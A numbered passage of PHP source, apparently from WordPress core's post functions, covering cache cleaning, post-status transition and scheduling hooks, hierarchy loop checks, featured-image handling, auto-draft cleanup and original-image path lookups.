6676 * @global bool $_wp_suspend_cache_invalidation
6677 *
6678 * @param int $id The attachment ID in the cache to clean.
6679 * @param bool $clean_terms Optional. Whether to clean terms cache. Default false.
6680 */
6681function clean_attachment_cache( $id, $clean_terms = false ) {
6682 global $_wp_suspend_cache_invalidation;
6683
6684 if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
6685 return;
6686 }
6687
6688 $id = (int) $id;
6689
6690 wp_cache_delete( $id, 'posts' );
6691 wp_cache_delete( $id, 'post_meta' );
6692
6693 if ( $clean_terms ) {
6694 clean_object_term_cache( $id, 'attachment' );
6695 }
6696
6697 /**
6698 * Fires after the given attachment's cache is cleaned.
6699 *
6700 * @since 3.0.0
6701 *
6702 * @param int $id Attachment ID.
6703 */
6704 do_action( 'clean_attachment_cache', $id );
6705}
6706
6707//
6708// Hooks
6709//
6710
6711/**
6712 * Hook for managing future post transitions to published.
6713 *
6714 * @since 2.3.0
6715 * @access private
6716 *
6717 * @see wp_clear_scheduled_hook()
6718 * @global wpdb $wpdb WordPress database abstraction object.
6719 *
6720 * @param string $new_status New post status.
6721 * @param string $old_status Previous post status.
6722 * @param WP_Post $post Post object.
6723 */
6724function _transition_post_status( $new_status, $old_status, $post ) {
6725 global $wpdb;
6726
6727 if ( $old_status != 'publish' && $new_status == 'publish' ) {
6728 // Reset GUID if transitioning to publish and it is empty.
6729 if ( '' == get_the_guid( $post->ID ) ) {
6730 $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post->ID ) ), array( 'ID' => $post->ID ) );
6731 }
6732
6733 /**
6734 * Fires when a post's status is transitioned from private to published.
6735 *
6736 * @since 1.5.0
6737 * @deprecated 2.3.0 Use 'private_to_publish' instead.
6738 *
6739 * @param int $post_id Post ID.
6740 */
6741 do_action( 'private_to_published', $post->ID );
6742 }
6743
6744 // If published posts changed clear the lastpostmodified cache.
6745 if ( 'publish' == $new_status || 'publish' == $old_status ) {
6746 foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
6747 wp_cache_delete( "lastpostmodified:$timezone", 'timeinfo' );
6748 wp_cache_delete( "lastpostdate:$timezone", 'timeinfo' );
6749 wp_cache_delete( "lastpostdate:$timezone:{$post->post_type}", 'timeinfo' );
6750 }
6751 }
6752
6753 if ( $new_status !== $old_status ) {
6754 wp_cache_delete( _count_posts_cache_key( $post->post_type ), 'counts' );
6755 wp_cache_delete( _count_posts_cache_key( $post->post_type, 'readable' ), 'counts' );
6756 }
6757
6758 // Always clears the hook in case the post status bounced from future to draft.
6759 wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) );
6760}
6761
6762/**
6763 * Hook used to schedule publication for a post marked for the future.
6764 *
6765 * The $post properties used and must exist are 'ID' and 'post_date_gmt'.
6766 *
6767 * @since 2.3.0
6768 * @access private
6769 *
6770 * @param int $deprecated Not used. Can be set to null. Never implemented. Not marked
6771 * as deprecated with _deprecated_argument() as it conflicts with
6772 * wp_transition_post_status() and the default filter for _future_post_hook().
6773 * @param WP_Post $post Post object.
6774 */
6775function _future_post_hook( $deprecated, $post ) {
6776 wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) );
6777 wp_schedule_single_event( strtotime( get_gmt_from_date( $post->post_date ) . ' GMT' ), 'publish_future_post', array( $post->ID ) );
6778}
6779
6780/**
6781 * Hook to schedule pings and enclosures when a post is published.
6782 *
6783 * Uses XMLRPC_REQUEST and WP_IMPORTING constants.
6784 *
6785 * @since 2.3.0
6786 * @access private
6787 *
6788 * @param int $post_id The ID in the database table of the post being published.
6789 */
6790function _publish_post_hook( $post_id ) {
6791 if ( defined( 'XMLRPC_REQUEST' ) ) {
6792 /**
6793 * Fires when _publish_post_hook() is called during an XML-RPC request.
6794 *
6795 * @since 2.1.0
6796 *
6797 * @param int $post_id Post ID.
6798 */
6799 do_action( 'xmlrpc_publish_post', $post_id );
6800 }
6801
6802 if ( defined( 'WP_IMPORTING' ) ) {
6803 return;
6804 }
6805
6806 if ( get_option( 'default_pingback_flag' ) ) {
6807 add_post_meta( $post_id, '_pingme', '1', true );
6808 }
6809 add_post_meta( $post_id, '_encloseme', '1', true );
6810
6811 $to_ping = get_to_ping( $post_id );
6812 if ( ! empty( $to_ping ) ) {
6813 add_post_meta( $post_id, '_trackbackme', '1' );
6814 }
6815
6816 if ( ! wp_next_scheduled( 'do_pings' ) ) {
6817 wp_schedule_single_event( time(), 'do_pings' );
6818 }
6819}
6820
6821/**
6822 * Returns the ID of the post's parent.
6823 *
6824 * @since 3.1.0
6825 *
6826 * @param int|WP_Post $post Post ID or post object. Defaults to global $post.
6827 * @return int|false Post parent ID (which can be 0 if there is no parent), or false if the post does not exist.
6828 */
6829function wp_get_post_parent_id( $post ) {
6830 $post = get_post( $post );
6831 if ( ! $post || is_wp_error( $post ) ) {
6832 return false;
6833 }
6834 return (int) $post->post_parent;
6835}
6836
6837/**
6838 * Check the given subset of the post hierarchy for hierarchy loops.
6839 *
6840 * Prevents loops from forming and breaks those that it finds. Attached
6841 * to the {@see 'wp_insert_post_parent'} filter.
6842 *
6843 * @since 3.1.0
6844 *
6845 * @see wp_find_hierarchy_loop()
6846 *
6847 * @param int $post_parent ID of the parent for the post we're checking.
6848 * @param int $post_ID ID of the post we're checking.
6849 * @return int The new post_parent for the post, 0 otherwise.
6850 */
6851function wp_check_post_hierarchy_for_loops( $post_parent, $post_ID ) {
6852 // Nothing fancy here - bail.
6853 if ( ! $post_parent ) {
6854 return 0;
6855 }
6856
6857 // New post can't cause a loop.
6858 if ( empty( $post_ID ) ) {
6859 return $post_parent;
6860 }
6861
6862 // Can't be its own parent.
6863 if ( $post_parent == $post_ID ) {
6864 return 0;
6865 }
6866
6867 // Now look for larger loops.
6868 $loop = wp_find_hierarchy_loop( 'wp_get_post_parent_id', $post_ID, $post_parent );
6869 if ( ! $loop ) {
6870 return $post_parent; // No loop
6871 }
6872
6873 // Setting $post_parent to the given value causes a loop.
6874 if ( isset( $loop[ $post_ID ] ) ) {
6875 return 0;
6876 }
6877
6878 // There's a loop, but it doesn't contain $post_ID. Break the loop.
6879 foreach ( array_keys( $loop ) as $loop_member ) {
6880 wp_update_post(
6881 array(
6882 'ID' => $loop_member,
6883 'post_parent' => 0,
6884 )
6885 );
6886 }
6887
6888 return $post_parent;
6889}
6890
6891/**
6892 * Sets the post thumbnail (featured image) for the given post.
6893 *
6894 * @since 3.1.0
6895 *
6896 * @param int|WP_Post $post Post ID or post object where thumbnail should be attached.
6897 * @param int $thumbnail_id Thumbnail to attach.
6898 * @return int|bool True on success, false on failure.
6899 */
6900function set_post_thumbnail( $post, $thumbnail_id ) {
6901 $post = get_post( $post );
6902 $thumbnail_id = absint( $thumbnail_id );
6903 if ( $post && $thumbnail_id && get_post( $thumbnail_id ) ) {
6904 if ( wp_get_attachment_image( $thumbnail_id, 'thumbnail' ) ) {
6905 return update_post_meta( $post->ID, '_thumbnail_id', $thumbnail_id );
6906 } else {
6907 return delete_post_meta( $post->ID, '_thumbnail_id' );
6908 }
6909 }
6910 return false;
6911}
6912
6913/**
6914 * Removes the thumbnail (featured image) from the given post.
6915 *
6916 * @since 3.3.0
6917 *
6918 * @param int|WP_Post $post Post ID or post object from which the thumbnail should be removed.
6919 * @return bool True on success, false on failure.
6920 */
6921function delete_post_thumbnail( $post ) {
6922 $post = get_post( $post );
6923 if ( $post ) {
6924 return delete_post_meta( $post->ID, '_thumbnail_id' );
6925 }
6926 return false;
6927}
6928
6929/**
6930 * Delete auto-drafts for new posts that are > 7 days old.
6931 *
6932 * @since 3.4.0
6933 *
6934 * @global wpdb $wpdb WordPress database abstraction object.
6935 */
6936function wp_delete_auto_drafts() {
6937 global $wpdb;
6938
6939 // Cleanup old auto-drafts more than 7 days old.
6940 $old_posts = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_status = 'auto-draft' AND DATE_SUB( NOW(), INTERVAL 7 DAY ) > post_date" );
6941 foreach ( (array) $old_posts as $delete ) {
6942 // Force delete.
6943 wp_delete_post( $delete, true );
6944 }
6945}
6946
6947/**
6948 * Queues posts for lazy-loading of term meta.
6949 *
6950 * @since 4.5.0
6951 *
6952 * @param array $posts Array of WP_Post objects.
6953 */
6954function wp_queue_posts_for_term_meta_lazyload( $posts ) {
6955 $post_type_taxonomies = array();
6956 $term_ids = array();
6957 foreach ( $posts as $post ) {
6958 if ( ! ( $post instanceof WP_Post ) ) {
6959 continue;
6960 }
6961
6962 if ( ! isset( $post_type_taxonomies[ $post->post_type ] ) ) {
6963 $post_type_taxonomies[ $post->post_type ] = get_object_taxonomies( $post->post_type );
6964 }
6965
6966 foreach ( $post_type_taxonomies[ $post->post_type ] as $taxonomy ) {
6967 // Term cache should already be primed by `update_post_term_cache()`.
6968 $terms = get_object_term_cache( $post->ID, $taxonomy );
6969 if ( false !== $terms ) {
6970 foreach ( $terms as $term ) {
6971 if ( ! isset( $term_ids[ $term->term_id ] ) ) {
6972 $term_ids[] = $term->term_id;
6973 }
6974 }
6975 }
6976 }
6977 }
6978
6979 if ( $term_ids ) {
6980 $lazyloader = wp_metadata_lazyloader();
6981 $lazyloader->queue_objects( 'term', $term_ids );
6982 }
6983}
6984
6985/**
6986 * Update the custom taxonomies' term counts when a post's status is changed.
6987 *
6988 * For example, default posts term counts (for custom taxonomies) don't include
6989 * private / draft posts.
6990 *
6991 * @since 3.3.0
6992 * @access private
6993 *
6994 * @param string $new_status New post status.
6995 * @param string $old_status Old post status.
6996 * @param WP_Post $post Post object.
6997 */
6998function _update_term_count_on_transition_post_status( $new_status, $old_status, $post ) {
6999 // Update counts for the post's terms.
7000 foreach ( (array) get_object_taxonomies( $post->post_type ) as $taxonomy ) {
7001 $tt_ids = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'tt_ids' ) );
7002 wp_update_term_count( $tt_ids, $taxonomy );
7003 }
7004}
7005
7006/**
7007 * Adds any posts from the given ids to the cache that do not already exist in cache
7008 *
7009 * @since 3.4.0
7010 * @access private
7011 *
7012 * @see update_post_caches()
7013 *
7014 * @global wpdb $wpdb WordPress database abstraction object.
7015 *
7016 * @param array $ids ID list.
7017 * @param bool $update_term_cache Optional. Whether to update the term cache. Default true.
7018 * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true.
7019 */
7020function _prime_post_caches( $ids, $update_term_cache = true, $update_meta_cache = true ) {
7021 global $wpdb;
7022
7023 $non_cached_ids = _get_non_cached_ids( $ids, 'posts' );
7024 if ( ! empty( $non_cached_ids ) ) {
7025 $fresh_posts = $wpdb->get_results( sprintf( "SELECT $wpdb->posts.* FROM $wpdb->posts WHERE ID IN (%s)", join( ',', $non_cached_ids ) ) );
7026
7027 update_post_caches( $fresh_posts, 'any', $update_term_cache, $update_meta_cache );
7028 }
7029}
7030
7031/**
7032 * Adds a suffix if any trashed posts have a given slug.
7033 *
7034 * Store its desired (i.e. current) slug so it can try to reclaim it
7035 * if the post is untrashed.
7036 *
7037 * For internal use.
7038 *
7039 * @since 4.5.0
7040 * @access private
7041 *
7042 * @param string $post_name Slug.
7043 * @param string $post_ID Optional. Post ID that should be ignored. Default 0.
7044 */
7045function wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_ID = 0 ) {
7046 $trashed_posts_with_desired_slug = get_posts(
7047 array(
7048 'name' => $post_name,
7049 'post_status' => 'trash',
7050 'post_type' => 'any',
7051 'nopaging' => true,
7052 'post__not_in' => array( $post_ID ),
7053 )
7054 );
7055
7056 if ( ! empty( $trashed_posts_with_desired_slug ) ) {
7057 foreach ( $trashed_posts_with_desired_slug as $_post ) {
7058 wp_add_trashed_suffix_to_post_name_for_post( $_post );
7059 }
7060 }
7061}
7062
7063/**
7064 * Adds a trashed suffix for a given post.
7065 *
7066 * Store its desired (i.e. current) slug so it can try to reclaim it
7067 * if the post is untrashed.
7068 *
7069 * For internal use.
7070 *
7071 * @since 4.5.0
7072 * @access private
7073 *
7074 * @param WP_Post $post The post.
7075 * @return string New slug for the post.
7076 */
7077function wp_add_trashed_suffix_to_post_name_for_post( $post ) {
7078 global $wpdb;
7079
7080 $post = get_post( $post );
7081
7082 if ( '__trashed' === substr( $post->post_name, -9 ) ) {
7083 return $post->post_name;
7084 }
7085 add_post_meta( $post->ID, '_wp_desired_post_slug', $post->post_name );
7086 $post_name = _truncate_post_slug( $post->post_name, 191 ) . '__trashed';
7087 $wpdb->update( $wpdb->posts, array( 'post_name' => $post_name ), array( 'ID' => $post->ID ) );
7088 clean_post_cache( $post->ID );
7089 return $post_name;
7090}
7091
7092/**
7093 * Filter the SQL clauses of an attachment query to include filenames.
7094 *
7095 * @since 4.7.0
7096 * @access private
7097 *
7098 * @global wpdb $wpdb WordPress database abstraction object.
7099 *
7100 * @param array $clauses An array including WHERE, GROUP BY, JOIN, ORDER BY,
7101 * DISTINCT, fields (SELECT), and LIMITS clauses.
7102 * @return array The modified clauses.
7103 */
7104function _filter_query_attachment_filenames( $clauses ) {
7105 global $wpdb;
7106 remove_filter( 'posts_clauses', __FUNCTION__ );
7107
7108 // Add a LEFT JOIN of the postmeta table so we don't trample existing JOINs.
7109 $clauses['join'] .= " LEFT JOIN {$wpdb->postmeta} AS sq1 ON ( {$wpdb->posts}.ID = sq1.post_id AND sq1.meta_key = '_wp_attached_file' )";
7110
7111 $clauses['groupby'] = "{$wpdb->posts}.ID";
7112
7113 $clauses['where'] = preg_replace(
7114 "/\({$wpdb->posts}.post_content (NOT LIKE|LIKE) (\'[^']+\')\)/",
7115 '$0 OR ( sq1.meta_value $1 $2 )',
7116 $clauses['where']
7117 );
7118
7119 return $clauses;
7120}
7121
7122/**
7123 * Sets the last changed time for the 'posts' cache group.
7124 *
7125 * @since 5.0.0
7126 */
7127function wp_cache_set_posts_last_changed() {
7128 wp_cache_set( 'last_changed', microtime(), 'posts' );
7129}
7130
7131/**
7132 * Get all available post MIME types for a given post type.
7133 *
7134 * @since 2.5.0
7135 *
7136 * @global wpdb $wpdb WordPress database abstraction object.
7137 *
7138 * @param string $type
7139 * @return mixed
7140 */
7141function get_available_post_mime_types( $type = 'attachment' ) {
7142 global $wpdb;
7143
7144 $types = $wpdb->get_col( $wpdb->prepare( "SELECT DISTINCT post_mime_type FROM $wpdb->posts WHERE post_type = %s", $type ) );
7145 return $types;
7146}
7147
7148/**
7149 * Retrieves the path to an uploaded image file.
7150 *
7151 * Similar to `get_attached_file()` however some images may have been processed after uploading
7152 * to make them suitable for web use. In this case the attached "full" size file is usually replaced
7153 * with a scaled down version of the original image. This function always returns the path
7154 * to the originally uploaded image file.
7155 *
7156 * @since 5.3.0
7157 *
7158 * @param int $attachment_id Attachment ID.
7159 * @return string|false Path to the original image file or false if the attachment is not an image.
7160 */
7161function wp_get_original_image_path( $attachment_id ) {
7162 if ( ! wp_attachment_is_image( $attachment_id ) ) {
7163 return false;
7164 }
7165
7166 $image_meta = wp_get_attachment_metadata( $attachment_id );
7167 $image_file = get_attached_file( $attachment_id );
7168
7169 if ( empty( $image_meta['original_image'] ) ) {
7170 $original_image = $image_file;
7171 } else {
7172 $original_image = path_join( dirname( $image_file ), $image_meta['original_image'] );
7173 }
7174
7175 /**
7176 * Filters the path to the original image.
7177 *
7178 * @since 5.3.0
7179 *
7180 * @param string $original_image Path to original image file.
7181 * @param int $attachment_id Attachment ID.
7182 */
7183 return apply_filters( 'wp_get_original_image_path', $original_image, $attachment_id );
7184}
7185
7186/**
7187 * Retrieve the URL to an original attachment image.
7188 *
7189 * Similar to `wp_get_attachment_url()` however some images may have been
7190 * processed after uploading. In this case this function returns the URL
7191 * to the originally uploaded image file.
7192 *
7193 * @since 5.3.0
7194 *
7195 * @param int $attachment_id Attachment post ID.
7196 * @return string|false Attachment image URL, false on error or if the attachment is not an image.
7197 */
7198function wp_get_original_image_url( $attachment_id ) {
7199 if ( ! wp_attachment_is_image( $attachment_id ) ) {
7200 return false;
7201 }
7202
7203 $image_url = wp_get_attachment_url( $attachment_id );
7204
7205 if ( empty( $image_url ) ) {
7206 return false;
7207 }
7208
7209 $image_meta = wp_get_attachment_metadata( $attachment_id );
7210
7211 if ( empty( $image_meta['original_image'] ) ) {
7212 $original_image_url = $image_url;
7213 } else {
7214 $original_image_url = path_join( dirname( $image_url ), $image_meta['original_image'] );
7215 }
7216
7217 /**
7218 * Filters the URL to the original attachment image.
7219 *
7220 * @since 5.3.0
7221 *
7222 * @param string $original_image_url URL to original image.
7223 * @param int $attachment_id Attachment ID.
7224 */
7225 return apply_filters( 'wp_get_original_image_url', $original_image_url, $attachment_id );
7226}